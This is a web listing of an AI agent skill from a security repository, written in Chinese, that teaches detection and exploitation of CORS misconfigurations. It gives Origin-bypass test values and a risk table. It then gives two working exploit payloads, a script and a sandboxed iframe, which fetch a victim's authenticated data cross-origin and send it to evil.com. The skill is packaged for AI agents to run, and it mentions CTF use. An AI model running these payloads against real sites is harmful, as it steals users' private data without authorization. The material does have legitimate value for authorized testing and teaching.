Cors misconfiguration

From wgpsec/AboutSecurity · View interactive version

Cors misconfiguration is an AI agent skill from the GitHub repository wgpsec/AboutSecurity. CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取

How to use this skill

Skill file

CORS 配置错误方法论

CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 两个响应头。

Phase 1: 检测 CORS 配置

1.1 发送带 Origin 的请求

http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}

检查响应头:

1.2 测试 Origin 校验绕过

# 空 Origin
Origin: null

# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com

# 特殊协议
Origin: http://target.com  (HTTPS 站点接受 HTTP Origin)

1.3 危险组合判断

| Allow-Origin | Allow-Credentials | 风险等级 |

|-------------|-------------------|----------|

| 反射任意 Origin | true | 严重 — 可跨域窃取用户数据 |

| null | true | 高 — iframe sandbox 可设置 null origin |

| * | false | 低 — 不能携带 Cookie,通常只暴露公开数据 |

| 固定白名单 | true | 安全(除非白名单中有你控制的域名)|

Phase 2: 利用 CORS 错误配置

2.1 反射 Origin + Credentials(最常见)

目标返回:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

构造窃取页面:

<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // 发送到攻击者服务器
    fetch('http://evil.com/log?data=' + JSON.stringify(data));
  });
</script>

2.2 null Origin 利用

如果 Access-Control-Allow-Origin: null,用 iframe sandbox 触发:

<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('http://target/api/userinfo', {credentials: 'include'})
      .then(r => r.text())
      .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
  </script>
"></iframe>

Phase 3: 数据获取

CORS 利用成功后,可以读取的敏感数据:

CTF 中:Flag 通常在需要管理员 Cookie 才能访问的 API 中。

注意事项

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.